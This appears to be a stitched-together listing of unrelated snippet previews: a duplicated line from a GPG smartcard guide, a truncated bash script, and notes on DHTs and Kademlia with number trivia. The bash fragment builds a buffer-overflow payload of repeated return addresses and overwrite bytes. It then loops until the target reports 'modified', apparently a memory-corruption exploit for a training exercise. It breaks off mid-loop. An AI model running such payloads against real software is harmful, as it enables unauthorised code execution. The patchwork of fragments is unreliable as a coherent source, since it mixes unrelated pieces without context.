Written for fairly adept technical users, preferably of Debian GNU/Linux, not for absolute beginners.
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You'll probably be working with a single smartcard, so you'll want only one primary key ( |
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You'll probably be working with a single smartcard, so you'll want only one primary key ( |
| #!/bin/bash | |
| ulimit -c 0 | |
| export LIBC_FATAL_STDERR_=1 | |
| python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin | |
| output="" | |
| COUNTER=0 | |
| while [[ ! $output =~ "modified" ]]; do | |
| MOD=$(( $COUNTER % 1000 )) |
I've put together these notes as I read about DHT's in depth and then learned how the libtorrent implementation based on the Kademlia paper actually works.
400,000,000,000 (400 billion stars), that's a 4 followed by 11 zeros.
The number of atoms in the universe is estimated to be around 10^82.
A DHT with keys of 160 bits, can have 2^160 possible numbers, which is around 10^48